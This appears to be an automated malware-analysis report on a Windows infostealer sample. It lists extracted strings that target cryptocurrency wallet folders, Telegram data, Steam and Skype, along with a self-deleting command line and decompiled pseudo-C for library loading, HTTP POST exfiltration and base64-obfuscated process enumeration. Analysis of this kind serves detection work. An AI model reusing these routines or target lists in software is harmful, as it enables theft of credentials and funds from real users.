mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml, xrefs: 00418A6A
%DSK_, xrefs: 00418B71, 00418B8E, 00418C17
Coins\Exodus, xrefs: 00418A0D
%APPDATA%\MultiBitHD\, xrefs: 00418A6F
"countryCode":", xrefs: 00418F66
T_@, xrefs: 00419403, 0041981E
*.json,*.seco, xrefs: 00418A12
++++, xrefs: 00418FB5
<c>, xrefs: 0041883A
%appdata%\Electrum-LTC\wallets\, xrefs: 004189C5
http://ip-api.com/json, xrefs: 00418F3A
Steam, xrefs: 00418AE7
PasswordsList.txt, xrefs: 00418921
</coks, xrefs: 004192E4
</pwds, xrefs: 004192AC
Coins\Ethereum, xrefs: 004189E4
UTC*, xrefs: 004189E9
image/jpeg, xrefs: 00418B01
ip.txt, xrefs: 00418F91, 00418FA3
<n>, xrefs: 00418861
%comspec%, xrefs: 00419571
Skype, xrefs: 00418AA4
scr.jpg, xrefs: 00418B21
<ip, xrefs: 00419348
</ip, xrefs: 00419364
Coins\Electrum-LTC, xrefs: 004189BB
<, xrefs: 00419547
</n>, xrefs: 00418859
<d>, xrefs: 00418898
%APPDATA%\Exodus\, xrefs: 00418A17
%APPDATA%\Ethereum\keystore\, xrefs: 004189EE
Coins, xrefs: 0041897B
<pwds, xrefs: 0041928A
%APPDATA%\Jaxx\Local Storage\, xrefs: 00418A43
<info, xrefs: 00419260
%appdata%\Telegram Desktop\tdata\, xrefs: 00418AD1
D877F783D5*,map*, xrefs: 00418ACC
"query":", xrefs: 00418F50
Coins\MultiBitHD, xrefs: 00418A65
Coins\Electrum, xrefs: 00418992
<coks, xrefs: 004192C2
Coins\Jaxx\Local Storage\, xrefs: 00418A39
GET, xrefs: 00418F33
exit, xrefs: 0041881B
<file, xrefs: 004192FA
Files\, xrefs: 00418D72, 00418E4D
</info, xrefs: 00419274
%appdata%\Electrum\wallets\, xrefs: 0041899C
/c %WINDIR%\system32\timeout.exe 3 & del ", xrefs: 00419592
</c>, xrefs: 00418832
</file, xrefs: 0041931C
Telegram, xrefs: 00418AC7

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectory$AddressMetricsProcSystem$CurrentExitLibraryLoadMutexProcess
String ID: "countryCode":"$"query":"$%APPDATA%\Ethereum\keystore\$%APPDATA%\Exodus\$%APPDATA%\Jaxx\Local Storage\$%APPDATA%\MultiBitHD\$%DSK_$%appdata%\Electrum-LTC\wallets\$%appdata%\Electrum\wallets\$%appdata%\Telegram Desktop\tdata\$%comspec%$*.json,*.seco$++++$/c %WINDIR%\system32\timeout.exe 3 & del "$<$</c>$</coks$</d>$</file$</info$</ip$</n>$</pwds$<c>$<coks$<d>$<file$<info$<ip$<n>$<pwds$Coins$Coins\Electrum$Coins\Electrum-LTC$Coins\Ethereum$Coins\Exodus$Coins\Jaxx\Local Storage\$Coins\MultiBitHD$D877F783D5*,map*$Files\$GET$PasswordsList.txt$Skype$Steam$System.txt$T_@$Telegram$UTC*$exit$http://ip-api.com/json$image/jpeg$ip.txt$mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml$scr.jpg
API String ID: 1296064569-3281574059
Opcode ID: f28ab96d039d32cc0c34f0bdd342f7ad334a4d750a8e2d80b2382c163220e54f
Instruction ID: 12fbeab09d86b4d4d3426c2dede24d6d64c59345960e79b613594a42cd3754e1
Opcode Fuzzy Hash: f28ab96d039d32cc0c34f0bdd342f7ad334a4d750a8e2d80b2382c163220e54f
Instruction Fuzzy Hash: 91A21A34A002199BDB10EB55DC91BDEB7B5EF49304F5080BBF408BB291DB78AE858F59

Uniqueness

Uniqueness Score: -1.00%

Function 00417216, Relevance: 57.8, APIs: 20, Strings: 13, Instructions: 64
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00417216() {
				void* _t1;
				struct HINSTANCE__* _t2;
				struct HINSTANCE__* _t4;
				_Unknown_base(*)()* _t21;

				 *0x41cb2c =  *0x41cb2c - 1;
				if( *0x41cb2c < 0) {
					_t2 = LoadLibraryA("crtdll.dll"); // executed
					 *0x41cb04 = GetProcAddress(_t2, "wcscmp");
					_t4 = LoadLibraryA("Gdiplus.dll"); // executed
					 *0x41cb08 = GetProcAddress(_t4, "GdiplusStartup");
					 *0x41cb0c = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdiplusShutdown");
					 *0x41cb10 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipCreateBitmapFromHBITMAP");
					 *0x41cb14 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipGetImageEncodersSize");
					 *0x41cb18 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipGetImageEncoders");
					 *0x41cb1c = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipDisposeImage");
					 *0x41cb20 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipSaveImageToStream");
					 *0x41cb24 = GetProcAddress(LoadLibraryA("ole32.dll"), "CreateStreamOnHGlobal");
					_t21 = GetProcAddress(LoadLibraryA("ole32.dll"), "GetHGlobalFromStream");
					 *0x41cb28 = _t21;
					return _t21;
				}
				return _t1;
			}

0x00417218
0x0041721f
0x0041722f
0x0041723a
0x00417249
0x00417254
0x0041726e
0x00417288
0x004172a2
0x004172bc
0x004172d6
0x004172f0
0x0041730a
0x0041731f
0x00417324
0x00000000
0x00417324
0x00417329

APIs

LoadLibraryA.KERNEL32(crtdll.dll,wcscmp), ref: 0041722F
GetProcAddress.KERNEL32(00000000,crtdll.dll), ref: 00417235
LoadLibraryA.KERNEL32(Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417249
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 0041724F
LoadLibraryA.KERNEL32(Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417263
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417269
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 0041727D
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417283
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417297
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 0041729D
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll), ref: 004172B1
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 004172B7
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll), ref: 004172CB
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 004172D1
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll), ref: 004172E5
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 004172EB
LoadLibraryA.KERNEL32(ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll), ref: 004172FF
GetProcAddress.KERNEL32(00000000,ole32.dll), ref: 00417305
LoadLibraryA.KERNEL32(ole32.dll,GetHGlobalFromStream,00000000,ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll), ref: 00417319
GetProcAddress.KERNEL32(00000000,ole32.dll), ref: 0041731F

Strings

GetHGlobalFromStream, xrefs: 0041730F
crtdll.dll, xrefs: 0041722A
GdipSaveImageToStream, xrefs: 004172DB
GdiplusStartup, xrefs: 0041723F
GdipCreateBitmapFromHBITMAP, xrefs: 00417273
Gdiplus.dll, xrefs: 00417244, 0041725E, 00417278, 00417292, 004172AC, 004172C6, 004172E0
GdipGetImageEncodersSize, xrefs: 0041728D
GdiplusShutdown, xrefs: 00417259
GdipGetImageEncoders, xrefs: 004172A7
wcscmp, xrefs: 00417225
ole32.dll, xrefs: 004172FA, 00417314
GdipDisposeImage, xrefs: 004172C1
CreateStreamOnHGlobal, xrefs: 004172F5

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CreateStreamOnHGlobal$GdipCreateBitmapFromHBITMAP$GdipDisposeImage$GdipGetImageEncoders$GdipGetImageEncodersSize$GdipSaveImageToStream$Gdiplus.dll$GdiplusShutdown$GdiplusStartup$GetHGlobalFromStream$crtdll.dll$ole32.dll$wcscmp
API String ID: 2574300362-2815069134
Opcode ID: 3bc6c4118995df7160033985ba2e072cd86b9b17629d2e708302bb0f3277f80d
Instruction ID: 88d1ed536910c73cd15d425763909c73792c0e606fd49294d8ff60234fce0fcb
Opcode Fuzzy Hash: 3bc6c4118995df7160033985ba2e072cd86b9b17629d2e708302bb0f3277f80d
Instruction Fuzzy Hash: BD11EDF16D8304B5C60077F2FD47ADA26657645709361453BBE10B20E2D57C6881A69D

Uniqueness

Uniqueness Score: -1.00%

Function 00417D84, Relevance: 42.4, APIs: 18, Strings: 6, Instructions: 375
libraryloadernetworkCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00417D84(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				_Unknown_base(*)()* _v20;
				_Unknown_base(*)()* _v24;
				_Unknown_base(*)()* _v28;
				_Unknown_base(*)()* _v32;
				_Unknown_base(*)()* _v36;
				_Unknown_base(*)()* _v40;
				_Unknown_base(*)()* _v44;
				_Unknown_base(*)()* _v48;
				char _v52;
				char _v56;
				long _v60;
				void* _v64;
				void* _v68;
				int _v72;
				char _v73;
				signed int _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v132;
				char _v388;
				char _v516;
				char _v644;
				char _v2692;
				char _v3716;
				char _v3776;
				void _v69412;
				char _v69416;
				char _v69420;
				char _v69424;
				char _v69428;
				char _v69432;
				char _v69436;
				char _v69440;
				void* __ecx;
				long _t223;
				long _t290;
				void* _t304;
				struct HINSTANCE__* _t322;
				struct HINSTANCE__* _t326;
				void* _t327;
				intOrPtr _t329;
				intOrPtr _t353;
				void* _t362;
				struct _SYSTEMTIME _t373;
				intOrPtr* _t375;
				intOrPtr _t377;
				intOrPtr _t378;
				char _t393;

				_t377 = _t378;
				_t329 = 0x21e7;
				do {
					_push(0);
					_push(0);
					_t329 = _t329 - 1;
				} while (_t329 != 0);
				_t1 =  &_v8;
				 *_t1 = _t329;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				E00403980(_v12);
				E00403980(_v16);
				_t373 =  &_v3776;
				_push(_t377);
				_push(0x418292);
				_push( *[fs:eax]);
				 *[fs:eax] = _t378;
				if(_v16 == 0) {
					E0040357C( &_v16, 0x4182ac);
				}
				E004034E4( &_v92);
				E0040357C( &_v56, _v8);
				_v73 = 0;
				E0040357C( &_v52, "wininet.dll");
				_t326 = GetModuleHandleA(E004039E8( &_v52));
				if(_t326 == 0) {
					_t322 = LoadLibraryA(E004039E8( &_v52)); // executed
					_t326 = _t322;
				}
				_v20 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0xc]));
				_v24 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x1a]));
				_v28 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x2b]));
				_v32 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x3c]));
				_v36 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x53]));
				_v40 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x64]));
				_t375 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x75]));
				_v44 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x89]));
				_v48 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x9b]));
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				 *_t373 = 0x3c;
				 *((intOrPtr*)(_t373 + 4)) =  &_v132;
				 *((intOrPtr*)(_t373 + 8)) = 0x20;
				 *(_t373 + 0x10) =  &_v388;
				 *((intOrPtr*)(_t373 + 0x14)) = 0x100;
				 *((intOrPtr*)(_t373 + 0x1c)) =  &_v516;
				 *((intOrPtr*)(_t373 + 0x20)) = 0x80;
				 *((intOrPtr*)(_t373 + 0x24)) =  &_v644;
				 *((intOrPtr*)(_t373 + 0x28)) = 0x80;
				 *(_t373 + 0x2c) =  &_v2692;
				 *((intOrPtr*)(_t373 + 0x30)) = 0x800;
				 *((intOrPtr*)(_t373 + 0x34)) =  &_v3716;
				 *((intOrPtr*)(_t373 + 0x38)) = 0x400;
				_t223 = E00403790(_v56);
				InternetCrackUrlA(E00403990(_v56), _t223, 0x90000000, _t373);
				E004036DC( &_v100,  *(_t373 + 0x10));
				E004039F0(_v100, 4, E00403790(_v100) - 3,  &_v69416);
				if(E00403AD4(0x418374, _v69416) != 0) {
					_v73 = 1;
					E004036DC( &_v69420,  *(_t373 + 0x10));
					E004037DC( &_v88, _v69420, "Host: ");
					E00417668(_v100, _t326,  &_v69424, _t373, _t375);
					 *(_t373 + 0x10) = E00403990(_v69424);
				}
				_t327 = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", 0, 0, 0, 0);
				if(_t327 != 0) {
					_v84 = 0x2dc6c0;
					_v48(_t327, 6,  &_v84, 4);
					_v48(_t327, 5,  &_v84, 4);
					_v64 = InternetConnectA(_t327,  *(_t373 + 0x10),  *(_t373 + 0x18), 0, 0, 3, 0, 0);
					if(_v64 != 0) {
						_v80 = 0x84003300;
						E004036DC( &_v69428,  *((intOrPtr*)(_t373 + 4)));
						if(E00403AD4(0x4183c8, _v69428) != 0) {
							_v80 = _v80 | 0x00800000;
						}
						_v68 = HttpOpenRequestA(_v64, E00403990(_v16),  *(_t373 + 0x2c), 0, 0, 0, _v80, 0);
						if(_v68 != 0) {
							if(_v73 != 0) {
								_v32(_v68, E00403990(_v88), E00403790(_v88), 0xa0000000);
							}
							_t290 = E00403790(_v12);
							if(HttpSendRequestA(_v68, 0x4183cc, 0, E00403990(_v12), _t290) != 0) {
								do {
									E00404F5C();
									_v72 = InternetReadFile(_v68,  &_v69412, 0x10064,  &_v60);
									E004035D4( &_v96, _v60,  &_v69412);
									_t304 = E00403798( &_v92, _v96);
									asm("sbb eax, eax");
								} while (_t304 + 1 != 0 && _v60 != 0);
							}
						}
						InternetCloseHandle(_v68); // executed
					}
					 *_t375(_v64);
				}
				 *_t375(_t327);
				_t393 = _v92;
				if(_t393 == 0) {
					_push(_v100);
					_push(_v12);
					_push( *(_t373 + 0x18));
					_push( &_v92);
					E004036DC( &_v69432,  *(_t373 + 0x2c));
					_push(_v69432);
					E004036DC( &_v69436,  *(_t373 + 0x10));
					_pop(_t362);
					E00417820(_v69436, _t327, _v16, _t362, _t375);
				}
				E004038DC(_v16, 0x4182ac);
				if(_t393 == 0) {
					E0040627C(_v100, _t327,  &_v69440, _t375, _t393);
					E004038DC(_v69440, "BF468D66");
				}
				E00403538(_a4, _v92);
				E004034E4( &_v92);
				_pop(_t353);
				 *[fs:eax] = _t353;
				_push(E00418299);
				E00403508( &_v69440, 7);
				E00403508( &_v100, 4);
				E00403508( &_v56, 2);
				return E00403508( &_v16, 3);
			}

0x00417d85
0x00417d88
0x00417d8d
0x00417d8d
0x00417d8f
0x00417d91
0x00417d91
0x00417d94
0x00417d94
0x00417d9a
0x00417d9d
0x00417da0
0x00417da6
0x00417dae
0x00417db6
0x00417dbb
0x00417dc3
0x00417dc4
0x00417dc9
0x00417dcc
0x00417dd3
0x00417ddd
0x00417ddd
0x00417de5
0x00417df0
0x00417df5
0x00417e01
0x00417e14
0x00417e18
0x00417e23
0x00417e28
0x00417e28
0x00417e3c
0x00417e51
0x00417e66
0x00417e7b
0x00417e90
0x00417ea5
0x00417eba
0x00417ed0
0x00417ee7
0x00417ef2
0x00417f02
0x00417f12
0x00417f22
0x00417f32
0x00417f42
0x00417f4e
0x00417f53
0x00417f5c
0x00417f5f
0x00417f6c
0x00417f6f
0x00417f7c
0x00417f7f
0x00417f8c
0x00417f8f
0x00417f9c
0x00417f9f
0x00417fac
0x00417faf
0x00417fbf
0x00417fce
0x00417fd7
0x00417ff8
0x0041800f
0x00418011
0x0041801e
0x00418031
0x0041803f
0x0041804f
0x0041804f
0x00418062
0x00418066
0x0041806c
0x0041807c
0x00418088
0x004180a2
0x004180a9
0x004180af
0x004180bf
0x004180d6
0x004180d8
0x004180d8
0x004180ff
0x00418106
0x00418110
0x0041812d
0x0041812d
0x00418133
0x00418152
0x00418154
0x0041815f
0x0041817b
0x0041818a
0x00418195
0x0041819e
0x004181a1
0x00418154
0x00418152
0x004181af
0x004181af
0x004181b5
0x004181b5
0x004181b8
0x004181ba
0x004181be
0x004181c3
0x004181c7
0x004181cc
0x004181d0
0x004181da
0x004181e5
0x004181ef
0x004181fd
0x004181fe
0x004181fe
0x0041820b
0x00418210
0x0041821b
0x0041822b
0x0041822b
0x00418240
0x00418248
0x0041824f
0x00418252
0x00418255
0x00418265
0x00418272
0x0041827f
0x00418291

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00418292,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 00417E0F
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00418292,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 00417E23
GetProcAddress.KERNEL32(00000000,-0000000C), ref: 00417E37
GetProcAddress.KERNEL32(00000000,-0000001A), ref: 00417E4C
GetProcAddress.KERNEL32(00000000,-0000002B), ref: 00417E61
GetProcAddress.KERNEL32(00000000,-0000003C), ref: 00417E76
GetProcAddress.KERNEL32(00000000,-00000053), ref: 00417E8B
GetProcAddress.KERNEL32(00000000,-00000064), ref: 00417EA0
GetProcAddress.KERNEL32(00000000,-00000075), ref: 00417EB5
GetProcAddress.KERNEL32(00000000,-00000089), ref: 00417ECB
GetProcAddress.KERNEL32(00000000,-0000009B), ref: 00417EE2
InternetCrackUrlA.WININET(00000000,00000000,90000000,?,00000000,-0000009B,00000000,-00000089,00000000,-00000075,00000000,-00000064,00000000,-00000053,00000000,-0000003C), ref: 00417FCE
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1),00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 0041805F
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000,?,?,?,?,00000000,00000000,00000000), ref: 0041809F
HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,84003300,00000000,?,?,?,?,00000000,00000000,00000000), ref: 004180FC
HttpSendRequestA.WININET(00000000,004183CC,00000000,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 0041814D
InternetReadFile.WININET(00000000,?,00010064,?,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 00418178
InternetCloseHandle.WININET(00000000,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 004181AF

Strings

wininet.dll, xrefs: 00417DFC
BF468D66, xrefs: 00418226
.bit, xrefs: 00418003
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 0041805A
Host: , xrefs: 0041802C
POST, xrefs: 00417DD8, 00418206

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$Internet$HandleHttpOpenRequest$CloseConnectCrackFileLibraryLoadModuleReadSend
String ID: .bit$BF468D66$Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$POST$wininet.dll
API String ID: 2047011702-2667470685
Opcode ID: 5426785b2c93e71bb720d3844f0bf3b5d53ea999dd08074bdd8b235e38f763da
Instruction ID: 5b133b9addfad1444578419e9148cb156d847e9dbbf5ea098b4cdfe065b0ee4c
Opcode Fuzzy Hash: 5426785b2c93e71bb720d3844f0bf3b5d53ea999dd08074bdd8b235e38f763da
Instruction Fuzzy Hash: 01E10FB1900218ABDB10EFA5CC46FDEBBB8BF48305F10457AF504B7691DB78AA45CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416290, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 225
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00416290(intOrPtr __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				long _v12;
				intOrPtr _v16;
				char _v17;
				char _v24;
				char _v28;
				void* _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				CHAR* _t113;
				CHAR* _t119;
				CHAR* _t125;
				void* _t134;
				void* _t137;
				void* _t141;
				void* _t169;
				signed int _t170;
				void* _t171;
				struct tagPROCESSENTRY32W* _t172;
				signed int _t182;
				int _t189;
				void* _t192;
				signed int _t193;
				signed int _t194;
				intOrPtr _t213;
				intOrPtr _t215;
				signed int _t228;
				_Unknown_base(*)()* _t238;
				signed int _t239;
				signed int _t241;
				void* _t242;
				void* _t245;
				intOrPtr _t246;

				_t237 = __esi;
				_t244 = _t245;
				_t246 = _t245 + 0xfffffda0;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = __eax;
				_push(_t245);
				_push(0x4165c6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t246;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t113 = E00403990(_v588);
				E004069A8("UHJvY2VzczMyRmlyc3RX", GetProcAddress(LoadLibraryA("kernel32.dll"), _t113),  &_v592, __edi, __esi);
				_t119 = E00403990(_v592);
				_t234 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t119);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t115,  &_v596, _t121, __esi);
				_t125 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t115,  &_v600, _t121, _t237);
				_t238 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t125);
				E004034E4(_v16);
				_t134 = CreateToolhelp32Snapshot(2, 0); // executed
				_t192 = _t134;
				if(_t192 != 0xffffffff) {
					_v584 = 0x22c;
					_t172 =  &_v584;
					Process32FirstW(_t192, _t172); // executed
					if(_t172 != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t182 = E00404648(_v8);
							_t242 =  &_v584;
							memcpy(_v8 + _t182 * 0x8b * 4 - 0x22c, _t242, 0x8b << 2);
							_t246 = _t246 + 0x10;
							_t234 = _t242 + 0x116;
							_t238 = _t238;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_t189 = Process32NextW(_t192,  &_v584); // executed
						} while (_t189 != 0);
					}
					FindCloseChangeNotification(_t192); // executed
				}
				_t137 = E00404648(_v8) - 1;
				if(_t137 >= 0) {
					_v28 = _t137 + 1;
					_t194 = 0;
					do {
						_v17 = 1;
						_t169 = E00404648(_v8) - 1;
						if(_t169 >= 0) {
							_t171 = _t169 + 1;
							_t228 = 0;
							do {
								_t43 = _t194 * 0x8b * 4; // 0x0
								_t241 = _t228 * 0x8b;
								_t234 = _v8;
								_t47 = _t241 * 4; // 0x1ffff
								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t228 = _t228 + 1;
								_t171 = _t171 - 1;
							} while (_t171 != 0);
						}
						_t170 = _t194 * 0x8b;
						_t52 = _t170 * 4; // 0x0
						_t56 = _t170 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t170 * 4)) = 1;
						}
						_t194 = _t194 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t141 = E00404648(_v8) - 1;
				if(_t141 >= 0) {
					_v28 = _t141 + 1;
					_t193 = 0;
					do {
						_t239 = _t193 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t239 * 4)) == 1) {
							_t75 = _t239 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t239 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E00416680);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t239 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416674);
								_push(E00416680);
								E00403850();
							}
							_t96 = _t193 * 0x8b * 4; // 0x1ffff
							E004160EC( *((intOrPtr*)(_v8 + _t96 + 8)), _t193,  &_v612, 1, _t234, _t239, _t244);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t193 = _t193 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t213);
				 *[fs:eax] = _t213;
				_push(E004165CD);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t215 =  *0x4160c4; // 0x4160c8
				return E00404810( &_v8, _t215);
			}

0x00416290
0x00416291
0x00416293
0x00416299
0x0041629a
0x0041629b
0x0041629e
0x004162a4
0x004162aa
0x004162b0
0x004162b6
0x004162bc
0x004162c2
0x004162c8
0x004162cb
0x004162ce
0x004162d3
0x004162d4
0x004162d9
0x004162dc
0x004162ea
0x004162f5
0x00416318
0x00416323
0x00416339
0x00416346
0x00416351
0x00416362
0x0041637e
0x00416383
0x0041638c
0x0041638e
0x00416393
0x00416399
0x004163a3
0x004163ab
0x004163af
0x004163b1
0x004163ba
0x004163c9
0x004163d4
0x004163ea
0x004163f5
0x004163f5
0x004163f5
0x004163f7
0x0041640b
0x0041641a
0x0041641c
0x004163b1
0x00416428
0x00416428
0x00416432
0x00416435
0x00416438
0x0041643b
0x0041643d
0x0041643d
0x00416449
0x0041644c
0x0041644e
0x0041644f
0x00416451
0x0041645a
0x0041645e
0x00416464
0x00416467
0x0041646b
0x0041646d
0x0041646d
0x00416471
0x00416472
0x00416472
0x00416451
0x00416475
0x0041647e
0x00416485
0x00416489
0x0041648b
0x0041648b
0x00416493
0x00416498
0x00416498
0x004164a0
0x004164a1
0x004164a1
0x004164a1
0x0041643d
0x004164ab
0x004164b6
0x004164b9
0x004164c0
0x004164c3
0x004164c5
0x004164c5
0x004164d3
0x004164dc
0x004164e3
0x0041651e
0x0041652a
0x00416533
0x00416538
0x0041653e
0x0041654b
0x004164e5
0x004164e5
0x004164f1
0x004164fa
0x004164ff
0x00416505
0x0041650a
0x00416517
0x00416517
0x0041655a
0x00416569
0x00416578
0x00416578
0x00416583
0x00416588
0x00416589
0x00416589
0x00416589
0x004164c5
0x00416594
0x00416597
0x0041659a
0x004165aa
0x004165b2
0x004165ba
0x004165c5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
